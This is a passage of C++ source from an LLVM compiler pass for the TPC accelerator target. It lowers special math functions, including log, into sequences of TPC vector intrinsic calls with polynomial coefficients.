ConstantInt::get(I32Type, 66112),\n UndefValue::get(Int64Type), Predicate, Polarity});\n\n // %and17.i = and <64 x i32> %7, <i32 1, i32 1,...\n auto And1 = Builder.CreateAnd(\n ConvertToInt641,\n ConstantVector::getSplat(64, ConstantInt::get(I32Type, 1)));\n\n // %add.i = add <64 x i32> %and17.i, %7\n auto Add1 = Builder.CreateAdd(And1, ConvertToInt641);\n\n // %and22.i = and <64 x i32> %8, <i32 1, i32 1,...\n auto And2 = Builder.CreateAnd(\n ConvertToInt642,\n ConstantVector::getSplat(64, ConstantInt::get(I32Type, 1)));\n\n // %add25.i = add <64 x i32> %and22.i, %8\n auto Add2 = Builder.CreateAdd(And2, ConvertToInt642);\n\n // %9 = tail call <128 x i16> @llvm.tpc.convert.int.v128i16.v64i32.v256i8.i1\n // <64 x i32> %add.i, <256 x i8> zeroinitializer, i32 720896\n ConvertTypes = {Int64Type, I8256Type, I32Type, Short128Type, I1Type, I1Type};\n FType = FunctionType::get(Short128Type, ConvertTypes, false);\n Intrinsic = cast<Function>(\n M.getOrInsertFunction(\n getTPCIntrinsicName(Intrinsic::tpc_convert_int, FType), FType)\n .getCallee());\n auto ConvertToShort1281 = Builder.CreateCall(\n Intrinsic,\n {Add1, ConstantVector::getSplat(256, ConstantInt::get(I8Type, 0)),\n ConstantInt::get(I32Type, 720900),\n ConstantVector::getSplat(128, ConstantInt::get(I16Type, 0)), Predicate,\n Polarity});\n\n // %10 = tail call <128 x i16>\n // @llvm.tpc.convert.int.v128i16.v64i32.v256i8.i1(<64 x i32> %add25.i,...\n auto ConvertToShort1282 = Builder.CreateCall(\n Intrinsic,\n {Add2, ConstantVector::getSplat(256, ConstantInt::get(I8Type, 0)),\n ConstantInt::get(I32Type, 720901), ConvertToShort1281, Predicate,\n Polarity});\n\n // %11 = tail call <64 x float> @llvm.tpc.convert.v64f32.v64i32.i1(<64 x i32>\n // %add.i...\n ConvertTypes = {Int64Type, I8Type, I32Type, Float64Type, I1Type, I1Type};\n FType = FunctionType::get(Float64Type, ConvertTypes, false);\n Intrinsic = cast<Function>(\n M.getOrInsertFunction(getTPCIntrinsicName(Intrinsic::tpc_convert, FType),\n FType)\n .getCallee());\n auto ConverttoFloat641 = Builder.CreateCall(\n Intrinsic,\n {Add1, ConstantInt::get(I8Type, 2), ConstantInt::get(I32Type, 64),\n UndefValue::get(Float64Type), Predicate, Polarity});\n\n // %12 = tail call <64 x float> @llvm.tpc.convert.v64f32.v64i32.i1(<64 x i32>\n // %add25.i,...\n auto ConverttoFloat642 = Builder.CreateCall(\n Intrinsic,\n {Add2, ConstantInt::get(I8Type, 2), ConstantInt::get(I32Type, 64),\n UndefValue::get(Float64Type), Predicate, Polarity});\n\n SmallVector<Type *, 6> MacTypes = {Float64Type, Float64Type, I8Type, I32Type,\n Float64Type, I1Type, I1Type};\n FType = FunctionType::get(Float64Type, MacTypes, false);\n Intrinsic =\n cast<Function>(M.getOrInsertFunction(\n getTPCIntrinsicName(Intrinsic::tpc_mac, FType), FType)\n .getCallee());\n\n // %13 = tail call <64 x float> @llvm.tpc.mac.v64f32.v64f32.i1(<64 x float>\n // %11, <64 x float>...%X...\n auto Mac1 = Builder.CreateCall(\n Intrinsic,\n {ConverttoFloat641,\n ConstantVector::getSplat(64, ConstantFP::get(F32Type, -7.85156250e-01f)),\n ConstantInt::get(I8Type, 0), ConstantInt::get(I32Type, 0), FirstHalf,\n Predicate, Polarity});\n\n // %14 = tail call <64 x float> @llvm.tpc.mac.v64f32.v64f32.i1(<64 x float>\n // %12,..%Y...\n auto Mac2 = Builder.CreateCall(\n Intrinsic,\n {ConverttoFloat642,\n ConstantVector::getSplat(64, ConstantFP::get(F32Type, -7.85156250e-01f)),\n ConstantInt::get(I8Type, 0), ConstantInt::get(I32Type, 0), SecondHalf,\n Predicate, Polarity});\n\n // %15 = tail call <64 x float> @llvm.tpc.mac.v64f32.v64f32.i1(<64 x float>\n // %11,...Mac1..\n auto Mac3 = Builder.CreateCall(\n Intrinsic, {ConverttoFloat641,\n ConstantVector::getSplat(\n 64, ConstantFP::get(F32Type, -2.41875648498e-4f)),\n ConstantInt::get(I8Type, 0), ConstantInt::get(I32Type, 0),\n Mac1, Predicate, Polarity});\n\n // %16 = tail call <64 x float> @llvm.tpc.mac.v64f32.v64f32.i1(<64 x float>\n // %12,..Mac2..\n auto Mac4 = Builder.CreateCall(\n Intrinsic, {ConverttoFloat642,\n ConstantVector::getSplat(\n 64, ConstantFP::get(F32Type, -2.41875648498e-4f)),\n ConstantInt::get(I8Type, 0), ConstantInt::get(I32Type, 0),\n Mac2, Predicate, Polarity});\n\n // %17 = tail call <64 x float> @llvm.tpc.mac.v64f32.v64f32.i1(<64 x float>\n // %11,..Mac3...\n auto Mac5 = Builder.CreateCall(\n Intrinsic, {ConverttoFloat641,\n ConstantVector::getSplat(\n 64, ConstantFP::get(F32Type, -3.7748949774e-8f)),\n ConstantInt::get(I8Type, 0), ConstantInt::get(I32Type, 0),\n Mac3, Predicate, Polarity});\n\n // %18 = tail call <64 x float> @llvm.tpc.mac.v64f32.v64f32.i1(<64 x float>\n // %12,...Mac5...\n auto Mac6 = Builder.CreateCall(\n Intrinsic, {ConverttoFloat642,\n ConstantVector::getSplat(\n 64, ConstantFP::get(F32Type, -3.7748949774e-8f)),\n ConstantInt::get(I8Type, 0), ConstantInt::get(I32Type, 0),\n Mac4, Predicate, Polarity});\n\n // %fl.sroa.0.0.vec.expand.i = shufflevector <64 x float> %16, <64 x float>\n // undef, <128 x i32>...\n auto Mask1 = createSequentialMask(Builder, 0, 64, 64);\n auto ShuffleFloat641 =\n Builder.CreateShuffleVector(Mac5, UndefValue::get(Float64Type), Mask1);\n\n // %fl.sroa.0.256.vec.expand195.i = shufflevector <64 x float> %17, <64 x\n // float> undef, <128 x i32> <i32 undef,...\n SmallVector<Constant *, 16> Mask2;\n Constant *Undef = UndefValue::get(Builder.getInt32Ty());\n for (unsigned i = 0; i < 64; i++)\n Mask2.push_back(Undef);\n for (unsigned i = 0; i < 64; i++)\n Mask2.push_back(Builder.getInt32(i));\n\n auto ShuffleFloat642 = Builder.CreateShuffleVector(\n Mac6, UndefValue::get(Float64Type), ConstantVector::get(Mask2));\n\n // %fl.sroa.0.256.vecblend196.i = shufflevector <128 x float>\n // %fl.sroa.0.0.vec.expand.i, <128 x float> %fl.sroa.0.256.vec.expand195.i,\n // <128 x i32>\n SmallVector<Constant *, 16> Mask3;\n for (unsigned i = 0; i < 64; i++)\n Mask3.push_back(Builder.getInt32(i));\n for (unsigned i = 192; i < 256; i++)\n Mask3.push_back(Builder.getInt32(i));\n\n auto ShuffleFloat128 = Builder.CreateShuffleVector(\n ShuffleFloat641, ShuffleFloat642, ConstantVector::get(Mask3));\n\n // %19 = tail call <128 x bfloat16> @llvm.tpc.convert.v128bf16.v128f32.i1(<128\n // x float> %fl.sroa.0.256.vecblend196.i,...\n ConvertTypes = {Float128Type, I8Type, I32Type, Bfloat128Type, I1Type, I1Type};\n FType = FunctionType::get(Bfloat128Type, ConvertTypes, false);\n Intrinsic = cast<Function>(\n M.getOrInsertFunction(getTPCIntrinsicName(Intrinsic::tpc_convert, FType),\n FType)\n .getCallee());\n auto ConvertBfloat128 = Builder.CreateCall(\n Intrinsic, {ShuffleFloat128, ConstantInt::get(I8Type, 0),\n ConstantInt::get(I32Type, 393472),\n UndefValue::get(Bfloat128Type), Predicate, Polarity});\n\n // %20 = tail call <256 x i1> @llvm.tpc.cmp.grt.v256i1.v128bf16.bf16.i1(<128 x\n // bfloat16> %19, bfloat16 0xR0000,...\n ConvertTypes = {Bfloat128Type, BF16Type, I8Type, I32Type,\n Char256Type, I1Type, I1Type};\n FType = FunctionType::get(Char256Type, ConvertTypes, false);\n Intrinsic = cast<Function>(\n M.getOrInsertFunction(getTPCIntrinsicName(Intrinsic::tpc_cmp_less, FType),\n FType)\n .getCallee());\n auto SelGrt = Builder.CreateCall(\n Intrinsic, {ConvertBfloat128, Constant::getNullValue(BF16Type),\n ConstantInt::get(I8Type, 1), ConstantInt::get(I32Type, 0),\n UndefValue::get(Char256Type), Predicate, Polarity});\n\n // %21 = bitcast <128 x bfloat16> %19 to <128 x i16>\n auto BitCastShort128 = Builder.CreateBitCast(ConvertBfloat128, Short128Type);\n\n // %and75.i = and <128 x i16> %21, <i16 32767,...\n auto AndShort128 = Builder.CreateAnd(\n BitCastShort128,\n ConstantVector::getSplat(128, ConstantInt::get(I16Type, 32767)));\n\n // %22 = bitcast <128 x i16> %and75.i to <128 x bfloat16>\n auto BitCastBfloat128 = Builder.CreateBitCast(AndShort128, Bfloat128Type);\n\n // %23 = lshr <128 x i16> %10, <i16 1, i16 1,...\n auto LSHRShort128 = Builder.CreateLShr(\n ConvertToShort1282,\n ConstantVector::getSplat(128, ConstantInt::get(I16Type, 1)));\n\n // %and76.i = and <128 x i16> %23, <i16 3, i16 3...\n auto And76i = Builder.CreateAnd(\n LSHRShort128,\n ConstantVector::getSplat(128, ConstantInt::get(I16Type, 3)));\n\n // %and77.i = and <128 x i16> %23, <i16 2, i16 2,...\n auto And77i = Builder.CreateAnd(\n LSHRShort128,\n ConstantVector::getSplat(128, ConstantInt::get(I16Type, 2)));\n\n // %24 = lshr exact <128 x i16> %and77.i, <i16 1, i16 1,...\n auto LSHRShort1281 = Builder.CreateLShr(\n And77i, ConstantVector::getSplat(128, ConstantInt::get(I16Type, 1)), \"\",\n true);\n\n // %Mov = tail call <128 x i16> @llvm.tpc.mov.v128i16.i16.i1(i16 0, i8 7, i32\n // 0,\n SmallVector<Type *, 6> Types{I16Type, I8Type, I32Type,\n Short128Type, I1Type, I1Type};\n FType = FunctionType::get(Short128Type, Types, false);\n Intrinsic =\n cast<Function>(M.getOrInsertFunction(\n getTPCIntrinsicName(Intrinsic::tpc_mov, FType), FType)\n .getCallee());\n auto Mov = Builder.CreateCall(\n Intrinsic, {ConstantInt::get(I16Type, 0), ConstantInt::get(I8Type, 7),\n Sw2, UndefValue::get(Short128Type), Predicate, Polarity});\n\n // %xor.i = xor <128 x i16> Zero, %24\n auto Xori = Builder.CreateXor(Mov, LSHRShort1281);\n\n // %sub.i = sub nsw <128 x i16> %and76.i, %and77.i\n auto Subi = Builder.CreateNSWSub(And76i, And77i);\n\n // %25 = tail call <256 x i1> @llvm.tpc.cmp.eq.v256i1.v128i16.i16.i1(<128 x\n // i16> %sub.i,...\n ConvertTypes = {Short128Type, I16Type, I8Type, I32Type,\n Char256Type, I1Type, I1Type};\n FType = FunctionType::get(Char256Type, ConvertTypes, false);\n Intrinsic = cast<Function>(\n M.getOrInsertFunction(getTPCIntrinsicName(Intrinsic::tpc_cmp_eq, FType),\n FType)\n .getCallee());\n auto CmpEqShort128 = Builder.CreateCall(\n Intrinsic, {Subi, ConstantInt::get(I16Type, 0),\n ConstantInt::get(I8Type, 7), ConstantInt::get(I32Type, 0),\n UndefValue::get(Char256Type), Predicate, Polarity});\n\n // %26 = or <256 x i1> %25, %20\n auto OrShort1281 = Builder.CreateOr(CmpEqShort128, SelGrt);\n\n // %27 = tail call <128 x i16> @llvm.tpc.xor.v128i16.v128i16.i16.v256i1(<128 x\n // i16> %xor.i,...\n ConvertTypes = {Short128Type, I16Type, I8Type, I32Type,\n Short128Type, Char256Type, I1Type};\n FType = FunctionType::get(Short128Type, ConvertTypes, false);\n Intrinsic =\n cast<Function>(M.getOrInsertFunction(\n getTPCIntrinsicName(Intrinsic::tpc_xor, FType), FType)\n .getCallee());\n auto Xor27 = Builder.CreateCall(\n Intrinsic,\n {Xori, ConstantInt::get(I16Type, 1), ConstantInt::get(I8Type, 7),\n ConstantInt::get(I32Type, 0), Xori, OrShort1281, Predicate});\n\n // %28 = tail call <256 x i1> @llvm.tpc.cmp.eq.v256i1.v128i16.i16.i1(<128 x\n // i16> %27,\n ConvertTypes = {Short128Type, I16Type, I8Type, I32Type,\n Char256Type, I1Type, I1Type};\n FType = FunctionType::get(Char256Type, ConvertTypes, false);\n Intrinsic = cast<Function>(\n M.getOrInsertFunction(getTPCIntrinsicName(Intrinsic::tpc_cmp_eq, FType),\n FType)\n .getCallee());\n auto CmpEqShort1281 = Builder.CreateCall(\n Intrinsic, {Xor27, ConstantInt::get(I16Type, 1),\n ConstantInt::get(I8Type, 7), ConstantInt::get(I32Type, 0),\n UndefValue::get(Char256Type), Predicate, Polarity});\n\n // %29 = tail call <256 x i16>\n // @llvm.tpc.get.lut.entry.v256i16.v128bf16.i1(<128 x bfloat16> %22,...\n ConvertTypes = {Bfloat128Type, I8Type, I8Type, I32Type,\n Short256Type, I1Type, I1Type};\n FType = FunctionType::get(Short256Type, ConvertTypes, false);\n Intrinsic = cast<Function>(\n M.getOrInsertFunction(\n getTPCIntrinsicName(Intrinsic::tpc_get_lut_entry, FType), FType)\n .getCallee());\n auto LutEntry1 = Builder.CreateCall(\n Intrinsic, {BitCastBfloat128, ConstantInt::get(I8Type, 3),\n ConstantInt::get(I8Type, 1), ConstantInt::get(I32Type, 24576),\n UndefValue::get(Short256Type), Predicate, Polarity});\n\n // %30 = shufflevector <256 x i16> %29, <256 x i16> undef, <128 x i32> <i32\n // 0,...127\n auto Mask4 = createSequentialMask(Builder, 0, 128, 0);\n auto ShuffleShort2561 = Builder.CreateShuffleVector(\n LutEntry1, UndefValue::get(Short256Type), Mask4);\n\n // %31 = shufflevector <256 x i16> %29, <256 x i16> undef, <128 x i32> <i32\n // 128, i32 129...255\n Mask4 = createSequentialMask(Builder, 128, 128, 0);\n auto ShuffleShort2562 = Builder.CreateShuffleVector(\n LutEntry1, UndefValue::get(Short256Type), Mask4);\n\n // %32 = bitcast <128 x i16> %31 to <128 x bfloat16>\n auto BitCastBfloat1281 =\n Builder.CreateBitCast(ShuffleShort2562, Bfloat128Type);\n\n // %shl.i = shl nsw <128 x i16> %sub.i, <i16 4, i16 4...\n auto Shli = Builder.CreateShl(\n Subi, ConstantVector::getSplat(128, ConstantInt::get(I16Type, 4)));\n\n // %33 = <128 x i16> @llvm.tpc.or..\n // (<128 x i16> ShuffleShort2561, <128 x i16> %shl.i, i8 8, i32 0,\n // <128 x i16> ShuffleShort2561, <256 x i1> CmpEqShort128, i1 false)\n ConvertTypes = {Short128Type, Short128Type, I8Type, I32Type,\n Short128Type, Char256Type, I1Type};\n FType = FunctionType::get(Short128Type, ConvertTypes, false);\n Intrinsic =\n cast<Function>(M.getOrInsertFunction(\n getTPCIntrinsicName(Intrinsic::tpc_or, FType), FType)\n .getCallee());\n auto OrShort1282 = Builder.CreateCall(\n Intrinsic, {ShuffleShort2561, Shli, ConstantInt::get(I8Type, 8),\n ConstantInt::get(I32Type, 0), ShuffleShort2561, CmpEqShort128,\n Polarity});\n\n // %34 = tail call <128 x i16> @llvm.tpc.add...()\n // <128 x i16> %33, i16 16, i8 8, i32 0, <128 x i16> %33, <256 x i1> %25, i1\n // false\n ConvertTypes = {Short128Type, I16Type, I8Type, I32Type,\n Short128Type, Char256Type, I1Type};\n FType = FunctionType::get(Short128Type, ConvertTypes, false);\n Intrinsic =\n cast<Function>(M.getOrInsertFunction(\n getTPCIntrinsicName(Intrinsic::tpc_add, FType), FType)\n .getCallee());\n auto Add34 = Builder.CreateCall(\n Intrinsic,\n {OrShort1282, ConstantInt::get(I16Type, 16), ConstantInt::get(I8Type, 8),\n ConstantInt::get(I32Type, 0), OrShort1282, CmpEqShort128, Polarity});\n\n // %35 = fsub <128 x bfloat16> %22, %32\n auto FSubBfloat1281 = Builder.CreateFSub(BitCastBfloat128, BitCastBfloat1281);\n\n // %36 = tail call <128 x bfloat> @llvm.tpc.lookup.1c\n // <128 x i16> %34, i32 435, i32 1, <128 x bfloat> zeroinitializer, i1 true,\n // i1 false\n ConvertTypes = {Short128Type, I32Type, I32Type,\n Bfloat128Type, I1Type, I1Type};\n FType = FunctionType::get(Bfloat128Type, ConvertTypes, false);\n Intrinsic = cast<Function>(\n M.getOrInsertFunction(\n getTPCIntrinsicName(Intrinsic::tpc_lookup_1c, FType), FType)\n .getCallee());\n auto LookupBfloat1281 = Builder.CreateCall(\n Intrinsic,\n {Add34, ConstantInt::get(I32Type, 435), ConstantInt::get(I32Type, 1),\n Constant::getNullValue(Bfloat128Type), Predicate, Polarity});\n\n // %37 = tail call <256 x bfloat16> @llvm.tpc.lookup.2c.v256bf16.v128i16(<128\n // x i16> %34,...\n ConvertTypes = {Short128Type, I32Type, I32Type,\n Bfloat256Type, I1Type, I1Type};\n FType = FunctionType::get(Bfloat256Type, ConvertTypes, false);\n Intrinsic = cast<Function>(\n M.getOrInsertFunction(\n getTPCIntrinsicName(Intrinsic::tpc_lookup_2c, FType), FType)\n .getCallee());\n auto LookupBfloat2561 = Builder.CreateCall(\n Intrinsic,\n {Add34, ConstantInt::get(I32Type, 434), ConstantInt::get(I32Type, 1),\n Constant::getNullValue(Bfloat256Type), Predicate, Polarity});\n\n // %C0C1.sroa.0.256.vec.extract.i = shufflevector <256 x bfloat16> %37,...\n Mask4 = createSequentialMask(Builder, 128, 128, 0);\n auto ShuffleBfloat2561 = Builder.CreateShuffleVector(\n LookupBfloat2561, UndefValue::get(Bfloat256Type), Mask4);\n\n // %C0C1.sroa.0.0.vec.extract.i = shufflevector <256 x bfloat16> %37, <256 x\n // bfloat16> undef, <128 x i32> <i32 0,...\n Mask4 = createSequentialMask(Builder, 0, 128, 0);\n auto ShuffleBfloat2562 = Builder.CreateShuffleVector(\n LookupBfloat2561, UndefValue::get(Bfloat256Type), Mask4);\n\n // %38 = tail call <128 x bfloat16> @llvm.tpc.mac.v128bf16.v128bf16.i1(<128 x\n // bfloat16> %C0C1.sroa.0.256.vec.extract.i, <128 x bfloat16> %35, i8 1, i32\n // 0, <128 x bfloat16> %C0C1.sroa.0.0.vec.extract.i,\n ConvertTypes = {Bfloat128Type, Bfloat128Type, I8Type, I32Type,\n Bfloat128Type, I1Type, I1Type};\n FType = FunctionType::get(Bfloat128Type, ConvertTypes, false);\n Intrinsic =\n cast<Function>(M.getOrInsertFunction(\n getTPCIntrinsicName(Intrinsic::tpc_mac, FType), FType)\n .getCallee());\n auto MacBfloat1281 = Builder.CreateCall(\n Intrinsic,\n {ShuffleBfloat2561, FSubBfloat1281, ConstantInt::get(I8Type, 1),\n ConstantInt::get(I32Type, 0), ShuffleBfloat2562, Predicate, Polarity});\n\n // %39 = tail call <128 x bfloat> @llvm.tpc.mac...\n // <128 x bfloat> %38, <128 x bfloat> %35, i8 1, i32 0, <128 x bfloat> %36\n ConvertTypes = {Bfloat128Type, Bfloat128Type, I8Type, I32Type,\n Bfloat128Type, I1Type, I1Type};\n FType = FunctionType::get(Bfloat128Type, ConvertTypes, false);\n Intrinsic =\n cast<Function>(M.getOrInsertFunction(\n getTPCIntrinsicName(Intrinsic::tpc_mac, FType), FType)\n .getCallee());\n auto MacBfloat1282 = Builder.CreateCall(\n Intrinsic,\n {MacBfloat1281, FSubBfloat1281, ConstantInt::get(I8Type, 1),\n ConstantInt::get(I32Type, 0), LookupBfloat1281, Predicate, Polarity});\n\n // %40 = tail call <128 x bfloat16>\n // @llvm.tpc.mul.v128bf16.v128bf16.v128bf16.v256i1(<128 x bfloat16> %22, <128\n // x bfloat16> %39, i8 1, i32 0, <128 x bfloat16> %39, <256 x i1> %25, i1\n // true)\n ConvertTypes = {Bfloat128Type, Bfloat128Type, I8Type, I32Type,\n Bfloat128Type, Char256Type, I1Type};\n FType = FunctionType::get(Bfloat128Type, ConvertTypes, false);\n Intrinsic =\n cast<Function>(M.getOrInsertFunction(\n getTPCIntrinsicName(Intrinsic::tpc_mul, FType), FType)\n .getCallee());\n auto MulBfloat1282 = Builder.CreateCall(\n Intrinsic, {BitCastBfloat128, MacBfloat1282, ConstantInt::get(I8Type, 1),\n ConstantInt::get(I32Type, 0), MacBfloat1282, CmpEqShort128,\n /*Inverted pred*/ Predicate});\n\n // %41 = tail call <128 x bfloat> @llvm.tpc.sub...\n // <128 x bfloat> %40, bfloat 0xH0000, i8 1, i32 2, <128 x bfloat> %40, <256 x\n // i1> %28, i1 false\n ConvertTypes = {Bfloat128Type, BF16Type, I8Type, I32Type,\n Bfloat128Type, Char256Type, I1Type};\n FType = FunctionType::get(Bfloat128Type, ConvertTypes, false);\n Intrinsic =\n cast<Function>(M.getOrInsertFunction(\n getTPCIntrinsicName(Intrinsic::tpc_sub, FType), FType)\n .getCallee());\n auto Sub41 = Builder.CreateCall(\n Intrinsic,\n {MulBfloat1282, getBfloatValue(0.0), ConstantInt::get(I8Type, 1),\n ConstantInt::get(I32Type, 2), MulBfloat1282, CmpEqShort1281, Polarity});\n\n // %42 = bitcast <128 x bfloat16> %41 to <128 x i16>\n auto BitCastShort1281 = Builder.CreateBitCast(Sub41, Short128Type);\n\n // %43 = tail call <128 x i16> @llvm.tpc.sel.grt..(<128 x i16> %and.i, i16\n // 17920, <128 x i16> <i16 32767..>) <128 x i16> %42, i8 8, i32 0, <128 x i16>\n // undef, i1 true, i1 false)\n ConvertTypes = {Short128Type, I16Type, Short128Type,\n Short128Type, I8Type, I32Type,\n Short128Type, I1Type, I1Type};\n FType = FunctionType::get(Short128Type, ConvertTypes, false);\n Intrinsic = cast<Function>(\n M.getOrInsertFunction(getTPCIntrinsicName(Intrinsic::tpc_sel_grt, FType),\n FType)\n .getCallee());\n auto SelGrt1 = Builder.CreateCall(\n Intrinsic,\n {BitCastAnd, ConstantInt::get(I16Type, 17920),\n ConstantVector::getSplat(128, ConstantInt::get(I16Type, 32767)),\n BitCastShort1281, ConstantInt::get(I8Type, 8),\n ConstantInt::get(I32Type, 0), UndefValue::get(Short128Type), Predicate,\n Polarity});\n\n // %44 = bitcast <128 x i16> %43 to <128 x bfloat16>\n auto BitCastBfloat1282 = Builder.CreateBitCast(SelGrt1, Bfloat128Type);\n\n InstrToReplace->replaceAllUsesWith(BitCastBfloat1282);\n InstrToReplace->eraseFromParent();\n}\n\nvoid EvalSpecialFunctionPass::replaceLogWithTPCIntrinsics(\n Module &M, Instruction *InstrToReplace) {\n\n IRBuilder<> Builder(InstrToReplace);\n Value *Operand = InstrToReplace->getOperand(0);\n\n // Helper Values.\n auto Sw10 = ConstantInt::get(I8Type, 0);\n auto Sw2 = ConstantInt::get(I32Type, 0);\n auto Predicate = ConstantInt::get(I1Type, 1);\n auto Polarity = ConstantInt::get(I1Type, 0);\n\n // %3 = tail call <64 x i32> @llvm.tpc.extract.exp...<64 x float> %2, i8 0,\n // i32 0..\n SmallVector<Type *, 6> Types{Float64Type, I8Type, I32Type,\n Int64Type, I1Type, I1Type};\n auto FType = FunctionType::get(Int64Type, Types, false);\n auto Intrinsic = cast<Function>(\n M.getOrInsertFunction(\n getTPCIntrinsicName(Intrinsic::tpc_extract_exp, FType), FType)\n .getCallee());\n auto ExtractExp = Builder.CreateCall(\n Intrinsic,\n {Operand, Sw10, Sw2, UndefValue::get(Int64Type), Predicate, Polarity});\n\n // add.i.i = add <64 x i32> %3, <i32 1, i32 1...\n auto Addii = Builder.CreateAdd(\n ExtractExp, ConstantVector::getSplat(64, ConstantInt::get(I32Type, 1)));\n\n // %4 = tail call <64 x float> @llvm.tpc.form.fp.num...(<256 x i8> {126...},\n // <64 x float> %2, <64 x float> %2, i8 0, i32 2048)\n Types = {I8256Type, Float64Type, Float64Type, I8Type,\n I32Type, Float64Type, I1Type, I1Type};\n FType = FunctionType::get(Float64Type, Types, false);\n Intrinsic = cast<Function>(\n M.getOrInsertFunction(\n getTPCIntrinsicName(Intrinsic::tpc_form_fp_num, FType), FType)\n .getCallee());\n auto FormFP = Builder.CreateCall(\n Intrinsic, {ConstantVector::getSplat(256, ConstantInt::get(I8Type, 126)),\n Operand, Operand, Sw10, ConstantInt::get(I32Type, 2048),\n UndefValue::get(Float64Type), Predicate, Polarity});\n\n // %sub.i.i = fadd <64 x float> %4, <float -0.70710677\n auto Subii = Builder.CreateFAdd(\n FormFP,\n ConstantVector::getSplat(64, ConstantFP::get(F32Type, -0.70710677)));\n\n // %5 = bitcast <64 x float> %sub.i.i to <64 x i32>\n auto BitCast1 = Builder.CreateBitCast(Subii, Int64Type);\n\n // %6 = tail call <64 x i32> @llvm.tpc.shr...<64 x i32> %5, i32 31, i8 2, i32\n // 0\n Types = {Int64Type, I32Type, I8Type, I32Type, Int64Type, I1Type, I1Type};\n FType = FunctionType::get(Int64Type, Types, false);\n Intrinsic =\n cast<Function>(M.getOrInsertFunction(\n getTPCIntrinsicName(Intrinsic::tpc_shr, FType), FType)\n .getCallee());\n auto Shr1 = Builder.CreateCall(\n Intrinsic, {BitCast1, ConstantInt::get(I32Type, 31),\n ConstantInt::get(I8Type, 2), ConstantInt::get(I32Type, 0),\n UndefValue::get(Int64Type), Predicate, Polarity});\n\n // %sub1.i.i = sub <64 x i32> %add.i.i, %6\n auto Sub1ii = Builder.CreateSub(Addii, Shr1);\n\n // %7 = tail call <64 x float> @llvm.tpc.convert.v64f32...<64 x i32> %6, i8 2,\n // i32 64\n Types = {Int64Type, I8Type, I32Type, Float64Type, I1Type, I1Type};\n FType = FunctionType::get(Float64Type, Types, false);\n Intrinsic = cast<Function>(\n M.getOrInsertFunction(getTPCIntrinsicName(Intrinsic::tpc_convert, FType),\n FType)\n .getCallee());\n auto Convert1 = Builder.CreateCall(\n Intrinsic,\n {Shr1, ConstantInt::get(I8Type, 2), ConstantInt::get(I32Type, 64),\n UndefValue::get(Float64Type), Predicate, Polarity});\n\n // %mul.i.i = fmul <64 x float> %4, %7\n auto Mulii = Builder.CreateFMul(FormFP, Convert1);\n\n // %sub2.i.i = fadd <64 x float> %mul.i.i, <float -1...\n auto Sub2ii = Builder.CreateFAdd(\n Mulii, ConstantVector::getSplat(64, ConstantFP::get(F32Type, -1)));\n\n // %add3.i.i = fadd <64 x float> %4, %sub2.i.i\n auto Add3ii = Builder.CreateFAdd(FormFP, Sub2ii);\n\n // %8 = tail call <64 x float> @llvm.tpc.mac...<64 x float> <float >,\n // <64 x float> %add3.i.i, i8 0, i32 0, <64 x float> <float >\n Types = {Float64Type, Float64Type, I8Type, I32Type,\n Float64Type, I1Type, I1Type};\n FType = FunctionType::get(Float64Type, Types, false);\n Intrinsic =\n cast<Function>(M.getOrInsertFunction(\n getTPCIntrinsicName(Intrinsic::tpc_mac, FType), FType)\n .getCallee());\n auto Mac1 = Builder.CreateCall(\n Intrinsic,\n {ConstantVector::getSplat(64, ConstantFP::get(F32Type, 7.0376836292e-2)),\n Add3ii, Sw10, Sw2,\n ConstantVector::getSplat(64, ConstantFP::get(F32Type, -1.1514610310e-1)),\n Predicate, Polarity});\n\n auto Mac2 = Builder.CreateCall(\n Intrinsic,\n {Mac1, Add3ii, Sw10, Sw2,\n ConstantVector::getSplat(64, ConstantFP::get(F32Type, 1.1676998740E-1)),\n Predicate, Polarity});\n\n auto Mac3 = Builder.CreateCall(\n Intrinsic,\n {Mac2, Add3ii, Sw10, Sw2,\n ConstantVector::getSplat(64, ConstantFP::get(F32Type, -1.2420140846E-1)),\n Predicate, Polarity});\n\n auto Mac4 = Builder.CreateCall(\n Intrinsic,\n {Mac3, Add3ii, Sw10, Sw2,\n ConstantVector::getSplat(64, ConstantFP::get(F32Type, 1.4249322787E-1)),\n Predicate, Polarity});\n\n auto Mac5 = Builder.CreateCall(\n Intrinsic,\n {Mac4, Add3ii, Sw10, Sw2,\n ConstantVector::getSplat(64, ConstantFP::get(F32Type, -1.6668057665E-1)),\n Predicate, Polarity});\n\n auto Mac6 = Builder.CreateCall(\n Intrinsic,\n {Mac5, Add3ii, Sw10, Sw2,\n ConstantVector::getSplat(64, ConstantFP::get(F32Type, 2.0000714765E-1)),\n Predicate, Polarity});\n\n auto Mac7 = Builder.CreateCall(\n Intrinsic,\n {Mac6, Add3ii, Sw10, Sw2,\n ConstantVector::getSplat(64, ConstantFP::get(F32Type, -2.4999993993E-1)),\n Predicate, Polarity});\n\n auto Mac8 = Builder.CreateCall(\n Intrinsic,\n {Mac7, Add3ii, Sw10, Sw2,\n ConstantVector::getSplat(64, ConstantFP::get(F32Type, 3.3333331174E-1)),\n Predicate, Polarity});\n\n // %16 = tail call <64 x float> @llvm.tpc.convert...<64 x i32> %sub1.i.i, i8\n // 2, i32 64\n Types = {Int64Type, I8Type, I32Type, Float64Type, I1Type, I1Type};\n FType = FunctionType::get(Float64Type, Types, false);\n Intrinsic = cast<Function>(\n M.getOrInsertFunction(getTPCIntrinsicName(Intrinsic::tpc_convert, FType),\n FType)\n .getCallee());\n auto Convert2 = Builder.CreateCall(\n Intrinsic,\n {Sub1ii, ConstantInt::get(I8Type, 2), ConstantInt::get(I32Type, 64),\n UndefValue::get(Float64Type), Predicate, Polarity});\n\n // %mul4.i.i = fmul <64 x float> %add3.i.i, %add3.i.i\n auto Mul4ii = Builder.CreateFMul(Add3ii, Add3ii);\n\n // %mul8.i.i = fmul <64 x float> %mul4.i.i, %15\n auto Mul8ii = Builder.CreateFMul(Mul4ii, Mac8);\n\n // %mul9.i.i = fmul <64 x float> %add3.i.i, %mul8.i.i\n auto Mul9ii = Builder.CreateFMul(Add3ii, Mul8ii);\n\n // %mul10.i.i = fmul <64 x float> %mul4.i.i, <float 5.000000\n auto Mul10ii = Builder.CreateFMul(\n Mul4ii,\n ConstantVector::getSplat(64, ConstantFP::get(F32Type, 5.000000e-01)));\n\n // %sub11.i.i = fsub <64 x float> %mul9.i.i, %mul10.i.i\n auto Sub11ii = Builder.CreateFSub(Mul9ii, Mul10ii);\n\n // %mul12.i.i = fmul <64 x float> %sub11.i.i, <float\n // 0.44269504088896340735992..\n auto Mul12ii = Builder.CreateFMul(\n Sub11ii, ConstantVector::getSplat(\n 64, ConstantFP::get(F32Type, 